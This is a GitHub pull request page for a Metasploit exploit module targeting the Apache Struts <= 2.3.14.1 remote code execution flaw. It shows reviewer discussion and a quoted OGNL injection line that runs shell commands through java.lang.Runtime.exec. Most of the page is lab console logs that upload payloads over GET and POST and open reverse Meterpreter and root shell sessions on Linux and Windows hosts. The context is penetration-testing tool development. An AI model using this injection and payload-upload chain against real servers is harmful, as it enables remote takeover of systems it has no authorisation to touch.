Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Struts <= 2.3.14.1 remote code execution #1870

Merged
merged 13 commits into from May 31, 2013
Merged

Struts <= 2.3.14.1 remote code execution #1870

merged 13 commits into from May 31, 2013

Conversation

Console
Copy link
Contributor

@Console Console commented May 28, 2013

Heavily based upon my previous module for parametersinterceptor RCE

Tested against the POC given at: https://cwiki.apache.org/confluence/display/WW/S2-014 in CentOS 6.4 with Apache Struts 2.3.8

Heavily based upon my previous module for parameters
interceptor based RCE.
Tested against the POC given at the reference website successfully.
@Meatballs1
Copy link
Contributor

case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This could be migrated to use the new bourne stager module for neatness perhaps: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/exploitation/cmdstager/bourne.rb

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not particularly suited to this. I had a go and could probably wedge it in, but the JAVA based encode/decode + upload/copytofile method works in all 3 target instances using minimal/no code duplication for this module and is reliable.

@Console
Copy link
Contributor Author

Console commented May 28, 2013

Getting onto fixing the @Meatballs1 suggestions. Expect incoming commits.

@Console Console closed this May 28, 2013
Added support for both GET and POST methods as both are vulnerable to
this exploit.
Decided against it as current implementation of JAVA base64
encode/decode appears to be more OS agnostic and robust.
Tidied up a few lines of code and added some more output.
@Console
Copy link
Contributor Author

Console commented May 29, 2013

Added changes as per @Meatballs1 suggestions.

Decided against using bourne cmd stager as current java based upload works for all OS implementations and is robust.

@Console Console reopened this May 29, 2013
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',rand_text_alpha_lower(4)]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/struts2-blank3/example/HelloWorld.action"]),
OptString.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If only GET or POST are allowed use an OptEnum, looks like a better idea.

@jvazquez-r7
Copy link
Contributor

Please avoid using the cve in the filename. Something like structs_include_params_exec.rb could be fine.

Also "_" (underscore) should be used over "-" on the filename.

@jvazquez-r7
Copy link
Contributor

On the other hand, did a first test, and the linux target is working, but not the java one:

msf exploit(struts_cve-2013-2115) > set target 1
target => 1
msf exploit(struts_cve-2013-2115) > set payload linux/x86/shell/reverse_tcp 
payload => linux/x86/shell/reverse_tcp
msf exploit(struts_cve-2013-2115) > rexplot
[-] Unknown command: rexplot.
msf exploit(struts_cve-2013-2115) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.165:4444 
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending stage (36 bytes) to 10.6.0.209
[*] Command shell session 1 opened (10.6.0.165:4444 -> 10.6.0.209:50748) at 2013-05-29 17:31:55 -0500
[+] Deleted /tmp/eDPdPjF
[*] Sending stage (36 bytes) to 10.6.0.209

2689842247
PQdRTmmazJKsyKklNvHGhftFOfbdLgVU
/bin//sh: attrib.exe: not found
/bin//sh: del.exe: not found
ofCZeVzQiDNePUIxzBbPWNjeGCVXxtJP
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 1? [y/N]  y

[*] 10.6.0.209 - Command shell session 1 closed.  Reason: User exit

  • The java target fails:
msf exploit(struts_cve-2013-2115) > set target 2
target => 2
msf exploit(struts_cve-2013-2115) > set payload java/
set payload java/meterpreter/bind_tcp       set payload java/meterpreter/reverse_https  set payload java/shell/bind_tcp             set payload java/shell_reverse_tcp
set payload java/meterpreter/reverse_http   set payload java/meterpreter/reverse_tcp    set payload java/shell/reverse_tcp          
msf exploit(struts_cve-2013-2115) > set payload java/meterpreter/reverse_tcp 
payload => java/meterpreter/reverse_tcp
msf exploit(struts_cve-2013-2115) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.165:4444 
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[!] This exploit may require manual cleanup of: eM3T.jar
[*] Exploit completed, but no session was created.

Didn't dig into it, just a first test, would need to dig into it if the java target is working for you.

print_status("Preparing payload...")
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + @payload_exe.length + target_uri.path.length + datastore['PARAMETER'].length
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

normalize_uri(target_uri.path).length so its consistent if / gets stripped/added?

Also is 109 the correct length of the command string in this module?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

java_upload_part is unchanged so the value 109 remains the same. Have now used normalize_uri, was throwing off the java exploit side of things. Check was working, Exploit wasn't.

Was down to the chunk length not being set correctly.
Still need to test against windows.

```
msf exploit(struts_include_params) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Universal
   1   Linux Universal
   2   Java Universal

msf exploit(struts_include_params) > set target 1
target => 1
msf exploit(struts_include_params) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.0.1
[*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.1:38512) at 2013-05-30 10:37:54 +0100
[+] Deleted /tmp/57mN5N

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux localhost.localdomain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 5 closed.  Reason: User exit
msf exploit(struts_include_params) > set target 2
target => 2
msf exploit(struts_include_params) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending stage (30246 bytes) to 192.168.0.1
[*] Meterpreter session 6 opened (192.168.0.2:4444 -> 192.168.0.1:38513) at 2013-05-30 10:38:27 +0100
[!] This exploit may require manual cleanup of: z4kv.jar

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux 2.6.32-358.2.1.el6.x86_64 (amd64)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...
```
minor changes to option text and changed HTTPMETHOD to an enum.
@Console
Copy link
Contributor Author

Console commented May 30, 2013

Now also tested with Windows successfully Both Shell and Meterpreter.

Windows 2003 Server R2 SP1, Tomcat 7.0, Struts 2.3.8, JDK 1.7.0_17

GET and POST

msf exploit(struts_include_params) > set HTTPMETHOD POST
HTTPMETHOD => POST
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 25 opened (192.168.0.2:4444 -> 192.168.0.3:1201) at 2013-05-30 11:47:32 +0100
[!] This exploit may require manual cleanup of: ./k8pI.exe

meterpreter > sysinfo
Computer        : FOCAFREE
OS              : Windows .NET Server (Build 3790, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 25 closed.  Reason: User exit
msf exploit(struts_include_params) > set HTTPMETHOD GET
HTTPMETHOD => GET
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending payload...
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 26 opened (192.168.0.2:4444 -> 192.168.0.3:1202) at 2013-05-30 11:47:53 +0100
[!] This exploit may require manual cleanup of: ./RrEFpsp.exe

meterpreter > sysinfo
Computer        : FOCAFREE
OS              : Windows .NET Server (Build 3790, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 26 closed.  Reason: User exit

Going to remove the sending payload spam, I think for windows at least.

@Console
Copy link
Contributor Author

Console commented May 30, 2013

Tested on linux, windows and using JAVA on both OS.

msf exploit(struts_include_params) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(struts_include_params) > set target 0
target => 0
msf exploit(struts_include_params) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(struts_include_params) > set HTTPMETHOD GET
HTTPMETHOD => GET
msf exploit(struts_include_params) > check

[*] Performing Check...
[*] Asking remote server to sleep for 5 seconds
[*] The target appears to be vulnerable.
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
....................................................
[*] Payload upload complete
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 7 opened (192.168.0.2:4444 -> 192.168.0.3:1213) at 2013-05-30 13:12:08 +0100
[!] This exploit may require manual cleanup of: ./rEcd.exe

meterpreter > sysinfo
Computer        : FOCAFREE
OS              : Windows .NET Server (Build 3790, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 7 closed.  Reason: User exit

msf exploit(struts_include_params) > set target 0
target => 0
msf exploit(struts_include_params) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(struts_include_params) > set HTTPMETHOD POST
HTTPMETHOD => POST
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload
.
[*] Payload upload complete
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 9 opened (192.168.0.2:4444 -> 192.168.0.3:1215) at 2013-05-30 13:13:40 +0100
[!] This exploit may require manual cleanup of: ./61hT.exe

meterpreter > sysinfo
Computer        : FOCAFREE
OS              : Windows .NET Server (Build 3790, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 9 closed.  Reason: User exit

msf exploit(struts_include_params) > set target 2
target => 2
msf exploit(struts_include_params) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(struts_include_params) > set HTTPMETHOD GET
HTTPMETHOD => GET
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
...
[*] Sending stage (30246 bytes) to 192.168.0.3
[*] Meterpreter session 11 opened (192.168.0.2:4444 -> 192.168.0.3:1217) at 2013-05-30 13:14:30 +0100
[*] Payload upload complete
[!] This exploit may require manual cleanup of: cMkS.jar

meterpreter > sysinfo
Computer    : focafree
OS          : Windows 2003 5.2 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 11 closed.  Reason: User exit
msf exploit(struts_include_params) > set HTTPMETHOD POST
HTTPMETHOD => POST
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload

[*] Sending stage (30246 bytes) to 192.168.0.3
[*] Meterpreter session 12 opened (192.168.0.2:4444 -> 192.168.0.3:1218) at 2013-05-30 13:14:41 +0100
[*] Payload upload complete
[!] This exploit may require manual cleanup of: 9ZH3tyd.jar

meterpreter > sysinfo
Computer    : focafree
OS          : Windows 2003 5.2 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 12 closed.  Reason: User exit
msf exploit(struts_include_params) > set RHOST 192.168.0.1
RHOST => 192.168.0.1
msf exploit(struts_include_params) > set HTTPMETHOD GET
HTTPMETHOD => GET
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
...
[*] Sending stage (30246 bytes) to 192.168.0.1
[*] Meterpreter session 13 opened (192.168.0.2:4444 -> 192.168.0.1:38539) at 2013-05-30 13:15:10 +0100
[*] Payload upload complete
[!] This exploit may require manual cleanup of: 7TBTcy7.jar

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux 2.6.32-358.2.1.el6.x86_64 (amd64)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 13 closed.  Reason: User exit
msf exploit(struts_include_params) > set HTTPMETHOD POST
HTTPMETHOD => POST
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload

[*] Sending stage (30246 bytes) to 192.168.0.1
[*] Meterpreter session 14 opened (192.168.0.2:4444 -> 192.168.0.1:38540) at 2013-05-30 13:15:20 +0100
[*] Payload upload complete
[!] This exploit may require manual cleanup of: fOxuu.jar

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux 2.6.32-358.2.1.el6.x86_64 (amd64)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 14 closed.  Reason: User exit
msf exploit(struts_include_params) > set target 1
target => 1
msf exploit(struts_include_params) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(struts_include_params) > set HTTPMETHOD GET
HTTPMETHOD => GET
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
.
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Payload upload complete
[*] Sending stage (1126400 bytes) to 192.168.0.1
[*] Meterpreter session 15 opened (192.168.0.2:4444 -> 192.168.0.1:38541) at 2013-05-30 13:15:47 +0100
[+] Deleted /tmp/0kROqC

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux localhost.localdomain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 15 closed.  Reason: User exit
msf exploit(struts_include_params) > set HTTPMETHOD POST
HTTPMETHOD => POST
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload
.
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Payload upload complete
[*] Sending stage (1126400 bytes) to 192.168.0.1
[*] Meterpreter session 16 opened (192.168.0.2:4444 -> 192.168.0.1:38542) at 2013-05-30 13:16:02 +0100
[+] Deleted /tmp/fyQt

meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Linux localhost.localdomain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 16 closed.  Reason: User exit
msf exploit(struts_include_params) > check

[*] Performing Check...
[*] Asking remote server to sleep for 5 seconds
[*] The target appears to be vulnerable.

@Console
Copy link
Contributor Author

Console commented May 30, 2013

Feedback from @Meatballs1 via email. Closing while I make changes to improve it.

@Console Console closed this May 30, 2013
now calculated from the actual length of all static URL elements
@Console
Copy link
Contributor Author

Console commented May 30, 2013

Made a few changes to improve the module.

@Console Console reopened this May 30, 2013
@Console
Copy link
Contributor Author

Console commented May 30, 2013

Fixing some more...

@Console Console closed this May 30, 2013
@Console Console reopened this May 30, 2013
@Console
Copy link
Contributor Author

Console commented May 30, 2013

Tested once again, Linux + Windows, both GET and POST.

msf exploit(struts_include_params) > check

[*] Performing Check...
[*] Asking remote server to sleep for 5 seconds
[*] The target appears to be vulnerable.
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
...
[*] Payload upload complete
[*] Sending stage (30246 bytes) to 192.168.0.1
[*] Meterpreter session 36 opened (192.168.0.2:4444 -> 192.168.0.1:38562) at 2013-05-30 18:12:09 +0100
[!] This exploit may require manual cleanup of: QzBp.jar

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux 2.6.32-358.2.1.el6.x86_64 (amd64)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 36 closed.  Reason: User exit
msf exploit(struts_include_params) > set HTTPMETHOD POST
HTTPMETHOD => POST
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload

[*] Payload upload complete
[*] Sending stage (30246 bytes) to 192.168.0.1
[*] Meterpreter session 37 opened (192.168.0.2:4444 -> 192.168.0.1:38563) at 2013-05-30 18:12:26 +0100
[!] This exploit may require manual cleanup of: X50FI.jar

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 37 closed.  Reason: User exit
msf exploit(struts_include_params) > set target 1
target => 1
msf exploit(struts_include_params) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload
.
[*] Payload upload complete
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.0.1
[*] Meterpreter session 38 opened (192.168.0.2:4444 -> 192.168.0.1:38564) at 2013-05-30 18:12:53 +0100
[+] Deleted /tmp/vjFP

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 38 closed.  Reason: User exit
msf exploit(struts_include_params) > set HTTPMETHOD GET
HTTPMETHOD => GET
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
.
[*] Payload upload complete
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.0.1
[*] Meterpreter session 39 opened (192.168.0.2:4444 -> 192.168.0.1:38565) at 2013-05-30 18:13:05 +0100
[+] Deleted /tmp/5eNe

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.1 - Meterpreter session 39 closed.  Reason: User exit
msf exploit(struts_include_params) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(struts_include_params) > set target 0
target => 0
msf exploit(struts_include_params) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(struts_include_params) > check

[*] Performing Check...
[*] Asking remote server to sleep for 5 seconds
[*] The target appears to be vulnerable.
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
.....................................................
[*] Payload upload complete
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 40 opened (192.168.0.2:4444 -> 192.168.0.3:1219) at 2013-05-30 18:13:42 +0100
[!] This exploit may require manual cleanup of: ./4EiPfq.exe

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 40 closed.  Reason: User exit
msf exploit(struts_include_params) > set HTTPMETHOD POST
HTTPMETHOD => POST
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload
.
[*] Payload upload complete
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 41 opened (192.168.0.2:4444 -> 192.168.0.3:1220) at 2013-05-30 18:13:53 +0100
[!] This exploit may require manual cleanup of: ./0MNVWx.exe

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 41 closed.  Reason: User exit
msf exploit(struts_include_params) > set target 2
target => 2
msf exploit(struts_include_params) > set payload java/meterpreter/reverse_tcp 
payload => java/meterpreter/reverse_tcp
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload

[*] Payload upload complete
[*] Sending stage (30246 bytes) to 192.168.0.3
[*] Meterpreter session 42 opened (192.168.0.2:4444 -> 192.168.0.3:1221) at 2013-05-30 18:14:17 +0100
[!] This exploit may require manual cleanup of: 20aNibC.jar

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 42 closed.  Reason: User exit
msf exploit(struts_include_params) > set HTTPMETHOD GET
HTTPMETHOD => GET
msf exploit(struts_include_params) > exploit

[*] Started reverse handler on 192.168.0.2:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
....
[*] Payload upload complete
[*] Sending stage (30246 bytes) to 192.168.0.3
[*] Meterpreter session 43 opened (192.168.0.2:4444 -> 192.168.0.3:1222) at 2013-05-30 18:14:27 +0100
[!] This exploit may require manual cleanup of: WU0PiZ.jar

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.0.3 - Meterpreter session 43 closed.  Reason: User exit

@Console Console closed this May 30, 2013
@Console Console reopened this May 30, 2013
# Now with all the arch specific stuff set, perform the upload.
# Need to calculate amount to allocate for non-dynamic parts of the URL.
# Fixed strings are tokens used for substitutions.
append_length = append ? "true".length : "false".length # Gets around the boolean/string issue
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

append.to_s.length

@jvazquez-r7
Copy link
Contributor

The java target is only working with POST method on my tests:

msf exploit(struts_include_params) > set RHOST 192.168.0.7
RHOST => 192.168.0.7
msf exploit(struts_include_params) > set TARGETURI /struts2-blank/example/HelloWorld.action
TARGETURI => /struts2-blank/example/HelloWorld.action
msf exploit(struts_include_params) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.3:4444 
[*] java
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
...
[*] Payload upload complete
[!] This exploit may require manual cleanup of: eJUJ2vP.jar
msf exploit(struts_include_params) > set HTTPMETHOD POST
HTTPMETHOD => POST
msf exploit(struts_include_params) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.3:4444 
[*] java
[*] Preparing payload...
[*] Performing HTTP POST requests to upload payload

[*] Payload upload complete
[*] Sending stage (30355 bytes) to 192.168.0.7
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.7:35386) at 2013-05-30 15:20:45 -0500
[*] Sending stage (30355 bytes) to 192.168.0.7
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.7:35388) at 2013-05-30 15:20:47 -0500
[!] This exploit may require manual cleanup of: QIceZwC.jar

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux 2.6.32-38-generic (i386)
Meterpreter : java/java
meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.0.7 - Meterpreter session 2 closed.  Reason: User exit

Will check later, hopefully won't be a big deal, and I'll be able to fix and merge by myself.

@jvazquez-r7
Copy link
Contributor

btw, the linux target is working with GET method:

msf exploit(struts_include_params) > show options

Module options (exploit/multi/http/struts_include_params):

   Name             Current Setting                           Required  Description
   ----             ---------------                           --------  -----------
   CHECK_SLEEPTIME  5                                         yes       The time, in seconds, to ask the server to sleep while check
   HTTPMETHOD       GET                                       yes       Which HTTP Method to use, GET or POST (accepted: GET, POST)
   PARAMETER        pdan                                      yes       The parameter to use for the exploit (does not have to be an expected one).
   Proxies                                                    no        Use a proxy chain
   RHOST            192.168.0.7                               yes       The target address
   RPORT            8080                                      yes       The target port
   TARGETURI        /struts2-blank/example/HelloWorld.action  yes       The path to a vulnerable struts application action
   VHOST                                                      no        HTTP server virtual host


Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.3      yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Universal


msf exploit(struts_include_params) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.3:4444 
[*] linux
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
.
[*] Payload upload complete
[*] Sending stage (36 bytes) to 192.168.0.7
[*] Command shell session 3 opened (192.168.0.3:4444 -> 192.168.0.7:35389) at 2013-05-30 15:25:26 -0500
[+] Deleted /tmp/Ke7DSNF

1250571543
nvKZpVapQCbXdWStVhaHcPJgAHDTXPse
/bin//sh: attrib.exe: not found
/bin//sh: del.exe: not found
RvVdOzmqIBSKmljexiRmpHZtJsIMKPXH
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 3? [y/N]  y

[*] 192.168.0.7 - Command shell session 3 closed.  Reason: User exit

@Console
Copy link
Contributor Author

Console commented May 30, 2013

Oof! will have to have a look at what i've missed.

Yep just scrolled up to my last comment. Very last test was running it over GET, using JAVA against Windows. No commits or pushes since.

Must be a glitch/timing issue? If you can't solve it and merge today, don't worry I'll get on it fresh tomorrow morning.

@jvazquez-r7
Copy link
Contributor

Did a fast check, the jar payload goes corrupted when uploading through GET, need to check why. Will update later!

@jvazquez-r7
Copy link
Contributor

Okey, here is the thing. Was using a test application with two tags using the parameter

includeParams="all"

So the injected code was being executed more than one time, and while appending data to the file containing the jar, it was going corrupted.... so this exploit can fail when attacking an action which will render a JSP with more than one point of injection, you use GET and the payload is higher than the chunk size... it's not a big deal. I'm going to update the description according to this testing experience and switch to POST by default :)

Successful test:

msf exploit(struts_include_params) > set target 2
target => 2
msf exploit(struts_include_params) > set payload java/meterpreter/reverse_tcp 
payload => java/meterpreter/reverse_tcp
msf exploit(struts_include_params) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Preparing payload...
[*] Performing HTTP GET requests to upload payload
..............
[*] Payload upload complete
[*] Sending stage (30355 bytes) to 192.168.172.206
[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.206:37413) at 2013-05-31 00:29:47 -0500
id
[!] This exploit may require manual cleanup of: IJIW.jar

meterpreter > id

@jvazquez-r7 jvazquez-r7 merged commit eb4162d into rapid7:master May 31, 2013
@jvazquez-r7
Copy link
Contributor

oka, just merged after minor cleanup at: 146a30e

Test results after clenaup:

  • Linux target
msf exploit(struts_include_params) > set target 1
target => 1
msf exploit(struts_include_params) > show options

Module options (exploit/multi/http/struts_include_params):

   Name             Current Setting                           Required  Description
   ----             ---------------                           --------  -----------
   CHECK_SLEEPTIME  5                                         yes       The time, in seconds, to ask the server to sleep while check
   HTTPMETHOD       POST                                      yes       Which HTTP Method to use, GET or POST (accepted: GET, POST)
   PARAMETER        ebwu                                      yes       The parameter to use for the exploit (does not have to be an expected one).
   Proxies                                                    no        Use a proxy chain
   RHOST            192.168.172.206                           yes       The target address
   RPORT            8080                                      yes       The target port
   TARGETURI        /struts2-blank/example/HelloWorld.action  yes       The path to a vulnerable struts application action
   VHOST                                                      no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.172.1    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Universal


msf exploit(struts_include_params) > check

[*] Performing Check...
[*] Asking remote server to sleep for 5 seconds
[*] The target appears to be vulnerable.
msf exploit(struts_include_params) > rexploit
[*] Reloading module...

[-] Exploit failed: java/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.
msf exploit(struts_include_params) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp
